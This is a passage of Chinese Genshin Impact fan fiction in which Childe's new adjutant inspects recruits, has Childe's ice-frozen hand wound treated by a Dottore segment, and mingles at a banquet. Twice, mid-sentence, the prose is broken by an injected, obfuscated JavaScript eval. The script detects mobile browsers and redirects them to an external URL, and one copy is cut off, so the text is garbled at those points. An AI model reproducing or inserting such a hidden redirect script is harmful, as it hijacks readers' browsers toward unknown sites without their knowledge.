“有的。前些年挣到了钱我就搬出来租房住了,到您所在的驻地办公室通勤时间保持在步行15分钟到20分钟之间。”那地方属于至冬市军政大院,谢苗在档案上属于三代根正苗红的内部人员,能住进这种给职工的福利宿舍。执行官的副官或者亲信在自身存款不够的情况下,大多会选择租住在那一片。 这个公子倒是不知道,谢苗顺便给他讲了讲至冬市的人员布局,权当是打发时间。 说话的一会功夫,马车停下了来,车夫提醒他们城外新兵营到了。 “希望至冬市的新兵能比我老家入伍的那些家伙更优秀吧。” 年轻的执行官挥挥手臂扭转关节,脸上一片兴致盎然。谢苗和上司保持一个身位的距离,扶了扶平光眼镜,对阔别六年的新兵营并没有什么起伏心绪。 谢苗很少怀念,或者追忆往昔,因为完全没有必要。 过去一片虚无。 36. 我心如寒冰 执行官来给新兵做动员宣传其实有个固定流程:宣讲女皇的仁爱和愚人众的目标,考较新兵的武艺和新兵切磋。 当然,像公鸡和富人那种纯文职的执行官只用对着稿子抑扬顿挫的念一遍就好了。毕竟每一位执行官的职权划分都不同,你不能强求智斗派人才去干武斗派的粗活。 公子的动员宣讲并没有用到谢苗提前写好的稿子,年轻人自己单打独斗一路走来吃了许多苦,也收获了许多宝贵的经验。他将这些战斗经验领悟毫无保留的传授给台下听讲的新兵,无光的蓝色眼睛都显得明亮起来——我知道这很矛盾,但事实就是这样。 公子大人和公鸡,潘塔罗涅老爷他们是不一样的。 默默观察这位新上司的谢苗在心中做出了判断。 包括他敬仰的现任【仆人】阿蕾奇诺,父亲大人也能直面壁炉之家每个季度的人员损耗数字,眼神从无波澜。如果不涉及虐杀,父亲大人是不会愤怒或者哀伤的。因为她理智的接受壁炉之家的孩子就是会死在各个角落的命运,尽管她极力削减这个数字。 公子眼里的新兵至少是“人”,而不是如蝼蚁沙土,木头草叶一般的……连“棋子”都谈不上的存在。 你明白谢苗想要表达的意思吗? 这并不是证明公子就多么温良有爱心,只是说明这样的人在执行官群体间显得格格不入。又或许是因为公子大人还很年轻吧,他刚进入这个染缸没多久,没有被异化。 谢苗在角落注视他宣讲的模样,好奇这样的年轻人可以坚持多久的自我。 新兵营这边的负责人还是伊尼科夫中尉(没有军功傍身的话,六年内想要升职到上尉属实艰难)。伊尼科夫看着这个铂金头发的年轻副官,透过对方平光眼镜后的蓝紫色艰难的回忆起六年前新人的模样。那个如流星一般划过夜空,年纪最小打破新兵营最好成绩的新人。 “谢苗·雪奈茨维奇?” “是我,伊尼科夫中尉。” “六年不见,你已经成为副官了啊。”伊尼科夫语气里满是感慨,他还有些印象,当年那个沉默到自愿融入阴影中降低存在感的小男孩已经成为从容镇定八面玲珑的大人了。职位比自己还高呢——副官的军衔与上尉平齐。 谢苗说:“离开这里后,我受到了其他长官的栽培,学到了很多东西,但资历还是太浅。前不久才升迁到副官,实属机缘巧合,侥幸而已。” 伊尼科夫摆摆手:“别打官腔了,你职位比我还高呢。上头的执行官大人不会无缘无故提拔谁的,你一定有你的过人之处……谢苗副官,你对这位【公子】大人有什么可以聊聊的吗?” 他凑过来轻声道:“【公子】大人说他要亲自试试这批新兵的实力,我怕他收不住力……” 都是群十六七岁的年轻人,下手没轻没重——公子大人也才十六岁呢,万一给他的新兵打出个好歹怎么办? 谢苗了然,点点头:“长官他比其他执行官好说话,但是不好糊弄。如果中尉你有建议可以在他宣讲完休息的空隙说。” 行,知道这么拿捏说话这个度心里就有了底。 但事实并不如伊尼科夫所愿,公子听见他委婉的建议只是上扬唇角:“伊尼科夫中尉,你难道是觉得你培训出来的新兵连和我交战的勇气都没有吗?” “连执行官的考核都无法完成,要怎么为女皇陛下,为至冬铲除一切阻碍?” “下官绝无此意!” “那就闭嘴好好看着。”公子挑眉道,“至冬的战士可不能当温室的娇花。” 谢苗不做评价,只是吩咐后勤和医疗部把伤药准备好。 说是执行官对新兵的考核,其实结束得相当快速,一挑多的大混战,八分钟之内就完成了从开场到退场的全部流程。 新晋执行官就那样踩着新兵们堆积如山的身体满不在意的甩甩手掌,可能是有些累了,没管脚下的哀鸣,随口抱怨道:“真是的,一点惊喜都没有。” “他们是新兵,接受训练的时间只有三个月。您的考核标准并不适用在这里。”谢苗请这位大人高抬贵脚下来,指引他去后面休息,以免说出更多招人恨又或者打击人的话。 达达利亚伸出那只手:“可是你都能伤到我的手,他们连用武器震麻手都不行。” 什么叫“连你都能”啊长官……谢苗刚想解释说他跟新兵不太一样,他也不是在新兵营培训三个月就转文职然后能伤到执行官一只手的——等等,什么时候伤到的? 达达利亚的眼睛圆润而深邃,这时候故意睁大了些,带着点恰到好处的无辜:“你没注意到吗?我还以为你像话本里那些高手一样毫不在意呢。” 昨天精神恍惚的开打到结束,谢苗还真没空观察到这点,而且达达利亚有意在公鸡普契涅拉面前遮掩…… 好吧,这是他的过失。 医疗兵给达达利亚重新包扎手上伤口的时候还稀奇了一番:“这种冰元素的侵蚀力量和雪山上古老冰层的特征很相似,一直在侵蚀血肉阻止愈合,同时冻凝血液防止失血过多……”哎呀哎呀,公子大人难道是去附近的龙息雪山执行任务了吗? 后面那句话医疗兵没有莽撞的说出口,毕竟副官大人的眼神足够冰冷。 但是达达利亚毫不在意,反而美滋滋道:“你也这样觉得对吧?这样的寒意和丘丘霜铠王有些类似,但是又不一样。我还是第一次见到这样的冰……” 谢苗没耳朵听了。 新领导对他似乎有什么奇怪的滤镜。 傍晚坐车回到城内,手掌裹得像个蚕茧一般的达达利亚顺理成章的推掉了文书工作,笑眯眯的看着新晋副官谢缪尔代笔。 拿着达达利亚过去笔迹文件的谢苗稍微试了试手就开始撰写公文,包括但不限于写今日的阅兵汇报、对执行官同僚的观察日记,今日心得体会、被遗忘的旧账账目…… 达达利亚用完好的那只手托腮,看着铂金发的青年垂下眼睫蘸取墨水书写文字,看完头发看笔尖,看完笔尖看鼻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679267|173207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尖,然后是眼睫毛。 和头发同色的眼睫毛平日藏在对方的平光眼镜后,或者低头的阴影中。达达利亚和谢苗认识才两天,意外的发现这人眼睫毛和眼睛组合在一起有一种强烈的非人感。 为此达达利亚特意压低声音询问:“容我冒昧,谢缪尔你的种族真的是人类吗,不是什么雪国妖精?” 谢苗头也不抬:“雪国妖精多数定居在挪德卡莱或者人迹罕至的自然地区。我的确是货真价实的人类,长官您为什么会有这样的疑惑?” “大概是属于武人的直觉吧,我的直觉向来很准。”达达利亚又伸手去勾笔筒里的钢笔玩,“你看,你能用那种强势又霸道的冰元素力量,好像什么都会,脸上总是淡定的表情,游刃有余的处理着事,不用微笑也能给人一种值得信赖的感受——和我小时候听过的妖精故事很像。” 谢苗终于抬起头来,脸上一片空白,什么表情也没有——他没有和少年人的相处经历,总是和年长者打交道的他难得没有经验可以借鉴,这种时候该说什么来着:“谢谢您的夸奖,我就当这是夸奖了。在我看来冰元素力量的区别只在于使用者的领悟和使用方法。我的职位是副官,为长官排忧解难是我的本职工作。微笑是一种很好用的社交礼仪面具,但大多数时候我并不需要微笑。” 他一样一样的为自己辩解。 达达利亚只是摇晃他那只蚕茧似的手掌:“后面的话暂且不提,但你的力量是不一样的哦。” “……我不太能理解您的意思,长官。” “我的师傅,嗯,她是一位了不起的剑客,使用的力量包括冰元素。我也觐见过女皇陛下,知晓她的威力如何。还有一些冰元素神之眼或者邪眼的持有者,例如【队长】。你和他们的力量是不一样的,明白吗谢缪尔?” 谢苗想不出有什么能不一样的,他的神之眼是从天而降,使用冰元素力量曾经被尼古拉教官评定为能和环境完美融合。这恰恰证明了普通。 达达利亚叹气:“你还是没明白。我和很多强者的冰打过交道,只有你的冰能让我的伤口无法愈合。” 那种冰没有刺痛皮肤或者血肉,它只是冻凝了血液让伤口无法愈合,好像是什么低温保鲜技术似的,让时间停驻…… “就像谁暂停了我手掌的时间一样。”达达利亚晃晃手,“如果明天还没有好,我只能去找更专业的医生了。” 谢苗心情复杂。怎么会想到暂停时间这档子事来,他要是有着能耐他还当什么副官?直接进宫当女皇陛下的御前令使了。 “我深表歉意,由衷的希望您的伤口能够快些痊愈。另外,请您放下手中的钢笔,过目我草拟好的文书,确认无误就可以签字。我去取一些饼干蛋糕当做晚餐前的茶点,您喜欢咖啡还是茶叶,需要加奶加糖吗?” “好,我会看的。今天想喝咖啡,要加奶加糖的。” 终于回到谢苗的舒适区,他在无人处悄悄松了一口气。 公子大人很难缠啊。 37. 副官的日常 上岗第二天,达达利亚的手还是没有好。 谢苗将还在傻乐呵的长官打包送去早就联系好的军医医院,忙前忙后全当赎罪,最后检查结果到手,一看,竟然到了需要做手术的地步。 达达利亚坐在椅子上伸长脖子望了一眼:“哇——” 谢苗:“……” 他把这一张薄薄的报告单交给长官,心情复杂。 人生头一次闯出这样大的祸——和上司第一次见面就把人家手打得对穿要做手术。谢苗不明白自己怎么就搞出这种智障事出来了。 “别担心啦谢缪尔,我不会扣你工资的,毕竟是我要求的切磋嘛!”达达利亚毫不在意,“切磋就是有输有赢有伤口,你被我砸断了肋骨都没说什么呢,我只是手还没好完全而已啦。” 我一晚上就能好,你这三天了越来越严重,能比吗? 谢苗木着脸:“我会承担医疗费和后续治疗费用的。” “嘿——你怎么这么犟,比我还倔呢,说了真不用你……”达达利亚突然转移话题,“嗯?二席?你怎么在这?” 谢苗顺着达达利亚的目光扭头看去,果然发现了熟悉的蓝毛薄荷怪,这次是青年切片,没有戴奇怪的面具,一双平静无光的红色眼瞳就这样暴露在大众视野中。 博士切片穿着白大褂,脖子上还挂着听诊器,看见新同事后迟疑了一会还是走过来:“早上好,末席,还有谢缪尔。” 谢苗:???不是哥们你谁?我们有这么熟悉吗? 但场面话还是得说,毕竟职位高:“贵安,博士大人。” 达达利亚:“哇,原来你们认识。二席你不是要做什么实验吗,怎么到医院来了?” 切片抽走达达利亚手里的报告单,声音平淡到仿佛一根拉长的乐弦:“当然。本体让我来这边做个项目。末席你居然脆弱到了这个地步吗?严重到需要做手术剔除元素力量。” “这可是很奇特的元素伤害,没有那么简单啦。” 切片:“哦。” 切片:“我给你做,既然你这么厉害,那等会就不打麻药了。” “喂喂!我是人不是牲口!”达达利亚挥舞着蚕茧手抗议,“你怎么一点医德都没有?” “要那种东西做什么。”切片不明所以。 谢苗保持沉默,做手术不打麻药的博士切片……他好像记得有一个。 “记起来了?”切片突然扭头,冷不丁开口。 “劳您挂念。”记起来了,九年前他接受实验的时候有这个切片在,不打麻药差点给他痛到原地升天,后面直接昏死过去。 切片:“自作多情。”说完扭就走,只给谢苗留下一个薄荷蓝色的后脑勺。 谢苗:“……”???不是,你们一个两个到底是要干什么?怎么就自作多情了?不说场面话我难道要说:管你毛事吗?真是老寿星上吊活腻歪了。 感觉离开北国银行后他的内心活动越来越丰富了,这一定不是他的错。 因为只是小型手术,消毒过后可以直接开始操作。在达达利亚的强烈要求下,切片面无表情的给他扎了一针局部麻醉,然后开始提取残留的冰元素,用新科技再生血肉填补肌肉和皮肤组织。 谢苗在手术室外等了将近二十分钟,终于等到了活蹦乱跳的上司出来。 “好了好了,表情松快些,你看我的手,和受伤之前没有区别,连过去的疤痕都消失了。”达达利亚到底只是个16岁的少年人,这算是他少有的稀奇经历——以前哪次受伤不是上点药等着愈合留疤? 谢苗道一声“得罪”,上手捏了捏上司崭新的爪子,确认曾经被洞穿的地方血肉组织完好骨头没有变异,再才点点头。切片也晃荡着一管试剂单手插兜出来,丢下一句“好走不送”又自顾自的忙活事情去了。 达达利亚和谢苗两人相视一眼,都没能明白大名鼎鼎的二席【博士】——虽然只是个切片,为什么行事作风如此神经质。最后达达利亚把烦恼丢到脑后,谢苗用神经病就是神经病解释一切异样,二人又坐车回去办公。 考虑到明天【公子】要赴宴,谢苗让下属把加急赶工做出来的礼服以及做礼服的裁缝带来让达达利亚自己试穿挑选。 “谢缪尔,上流人士的宴会都要这么复杂繁琐的吗?” “不是上流宴会都这样,商人政客通常不会有话直说,他们将想要表达的意思通过身上的服装饰品隐晦的展示,这样不容易留下把柄。当然,长官您并不需要操心这些无关紧要的事,只是这场宴会严格来说是您授封执行官席位后首次公开面对权贵的亮相,打扮得好看些总是没错的。”谢苗正在抓紧做账本,随手抓了一把配饰,“像这些戒指腕表怀表胸针衬衣夹之类的,长官您挑选合眼缘的就好。没有喜欢的完全可以不戴。” 达达利亚自己跟自己玩了一会,勉强选了一身礼服,定好明天要做的发型和妆造配饰就将裁缝打发走了。上手过目处理一些文件,有不明白的就问身边的谢苗。 【公鸡】和他说过的,副官就是执行官的左膀右臂,可以是得力的干将,也可以是无微不至的照料者,甚至可以说是引路人。达达利亚毕竟是新人,根基尚浅,对整个愚人众运作的套路并不清楚。当然他不需要清楚,身边有人为他处理这些琐事就好。 谢苗就是那个被安排进来协助达达利亚的帮手,品行心性和能力经过多方多年审核毫无问题。因此达达利亚的伯乐【公鸡】一早就告诉过他:不懂的问你的副官。 达达利亚对谢苗的高好感度有一半源于【公鸡】的推荐。 “虽然我们昨天定好的冰钓时间是明天上午,但是新兵考核提前结束,没有其他的事干,为什么不能现在就去冰钓呢?”达达利亚想了想,觉得自己当了执行官不能这么不务正业,“或者找人切磋武艺,为女皇陛下挑选锻炼人才!” “因为有一些繁琐但不困难的工作,比如签署文件和总览财务报告,以及对过去一个月工作的归纳总结需要尽快完成。长官,我知道这是枯燥乏味的工作,但就像士兵上阵前会擦拭保养自己的武器那样,准备工作做好有备无患。您也不想以后在愉快的度假休假期间被我找到然后扫兴的递来一沓文件,因为避无可避拖不下去只能捏着鼻子回来办公吧?就像士兵上战场发现武器因为保养不当刀锋卷刃零件生锈那样。” “我明白了。”达达利亚扬起斗志,“为了更好的明天!” 好像也没说错? 然而他没干两小时就彻底趴桌不能动弹了。 “好累,像重复杀了一百只水史莱姆那样。” “但是收获十分明显,至少长官以后不会看到后勤报销一颗意外松动的螺丝钉,壁炉木材供应商换货换供也不需要层层审批,去城外清理魔物的物资储备也能换一换,避免此次啃土豆和面包。您的团队缺乏对您的正确认知,因此在正式运作前需要让他们明白衡量处事的标准。” 达达利亚扭头:“包括我的喜好和对这些的容忍度吗?” 谢苗点头:“当然。在职场选择迎合上司的爱好,用上司青睐的形式处理公务有时候能减轻很多负担。我能承诺的是,今日过后您的团队成员会用精简过的报告申请或者审批事项。” “好吧。这方面你比较有经验,听你的。” 现在的人手从不同执行官的成熟团队中调来,每个执行官都有自己的脾气,相应的他们的部下也有不同的行事作风。像那种事无巨细报告,并且在报告中附赠亲切问候的是某个掌控欲很强执行官的下属——谢苗这种属于多方融合的结果,他毕竟在好几个执行官手下做过事,采取的是不容易踩雷的方法。 谢苗承认他看菜下碟:总得摸清现任上司的喜恶,才能在职场走得更久更远。 感谢达达利亚的配合,忙活了一下午把沉积的公务一扫而空,谢苗和几个部下在长官的茶歇时间找机会把工作范围和职权划分得明明白白,定好章程和后续大方向才下班。 当天傍晚走出工作的会馆,他长舒一口气,终于有了一切走上正轨的感觉。 “怎么样,达达利亚,新的部下还满意吗?” 次日晚间的宴会,普契涅拉像个真正的和蔼小老头那样关切询问看好的后辈,而达达利亚对这位伯乐十分尊重:“挺好的老爷子,磨合过后他们都能跟得上进度,很省事。” 普契涅拉微笑点头:“那就好。只是有时候也不能太放纵下属,御下之道你得好好品悟。” “知道了,老爷子。你要不要吃些餐点,我刚刚看你和那些政客聊了很久,不知道你饿没饿。”达达利亚扭头看了一圈,手边突然被递来一盘餐点,看清楚是谁后笑了笑,“刚刚听你说话的声音,好像是嗓子有些不舒服?喝杯蜜水怎么样?我听说政治家的嗓子很需要好好保养。” 普契涅拉一时间不知道他是真关心还是假回话,无奈叹气,到底还是接过蜜水咽一口润润嗓子。 嗯,居然还有晒干的梨子片,不错,有心了。 送完梨子蜂蜜水和小餐包的谢苗回到大厅承重柱后的阴影中,这边全是参加宴会的执行官部下和副官团队,他们负责协助场控保证安全。托潘塔罗涅老爷那几年教导的福,谢苗和好些执行官的副官下属都熟悉,打听点执行官的近况属于顺手的事。比如现在出席宴会的【博士】是一个年轻的切片,情绪比较稳定;【队长】大人最近关心军备军需物品的补给,所以在跟【富人】老爷聊天;【富人】老爷最近喜欢上了果香;【散兵】大人不喜欢甜食只爱苦茶;【女士】大人换了口味开始喝枫丹的白葡萄气泡酒;【仆人】大人近来又抄底了几位枫丹贵族的家产。 还有其他的执行官,比如【丑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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执行官对底下人之间的门道采取视而不见的态度,尤其是对壁炉之家出身爬到高位上的年轻人,比如谢苗比如蝶安奈拉这种,基本是放任他们吃饱肚子还打包带走。达达利亚新官上任对这些门道不清楚,看见几个眼熟的愚人众成员来了餐品区只当是他们饿得快。 谢苗是甜品区常客,带走的小蛋糕小饼干和蜜糖多到数不清,很有几分要把蛀牙吃出来的架势。 格洛德克抱臂:“虽然财富和食物一样多多益善,但也要注意节制。” 蝶安奈拉领着身后一群小萝卜头从侧门溜进来,教他们轻手轻脚摸到格伦德先生背后,闻言不乐意了:“哄孩子吃的拿多些有什么不好,又不会浪费。” “没说你们浪费。只是会长蛀牙,牙齿疼的时候别哭。”格洛德克这几年和壁炉之家孩子打交道的频率明显上涨,和蝶安奈拉这个风险投资精算师的业务重合了一部分,枫丹至冬两头跑,没少看见小屁孩们因为牙疼捂脸哭。 【队长】的下属罗契耶夫总是打圆场:“好了好了,别吓到孩子们了。谢苗,你先带他们吃些东西,我再去拿一些。” 蝶安奈拉这才露出笑容,弯腰哄着这群一点也不见惶恐害怕的小屁孩,让他们待在角落学习前辈们的模样守卫或者进食。 谢苗看着这位姐姐的模样,一时间感触良多:“现在的日子真是好起来了。” 格洛德克自然而然想到如此丰盈的食物上来:“潘塔罗涅老爷这几年挣的摩拉铺平足够包裹提瓦特三圈,至冬的财政也是越来越宽裕了。” 罗契耶夫想到了这些年边境的安稳:“至冬孤儿率可算是降低了,今年的孩子比前两年少了三分之一。” 蝶安奈拉知道他想表达什么:“父亲大人治下严明,我这次带来学习的还算是乖孩子,留在枫丹那边的净是捣蛋鬼。” “那吃得惯至冬的甜品吗?至冬的甜度是七国最高的。”谢苗低头看看这群孩子的脸蛋,白净净红扑扑,眼睛明亮而温润,一看就是被好好养大的。是活生生的人,而不是冷血冷情的兵器。 没等他多问几句,几个副官和下属扭头就《七国甜品甜度排行》聊起天来,最后至冬蜜糖因为辩论人员国籍占比优势打败了竞争对手须弥蜜糖,璃月甜品居然落到了最后一名。 谢苗觉得自己应该为疑似精神的第一故乡——璃月甜品正名,依照至冬人“甜品就是要甜才好吃”的理论,这岂不是说明璃月点心不好吃? “倒也不是说不好吃。”曾经去蒙德出差途径璃月的【博士】下属迟疑道,“他们那边的甜品味道属实不差,就是不甜。有个璃月人跟我说:判断一个璃月甜品好不好吃的标准就是看它甜不甜,不甜的甜品才是好甜品——你说这像话吗?不甜怎么能叫甜品呢?” 多数没去过璃月的至冬人深以为然的点头。 谢苗看了看手中咬了一半的坚果蜜糖,觉得自己离精神第一故乡越来越遥远。 因为他现在也喜欢吃高甜高热量的食物了。 铂金发青年将糖块咬得咯吱咯吱响,那声音在不明所以者听来很像肉食动物进食的声音,无端不寒而栗。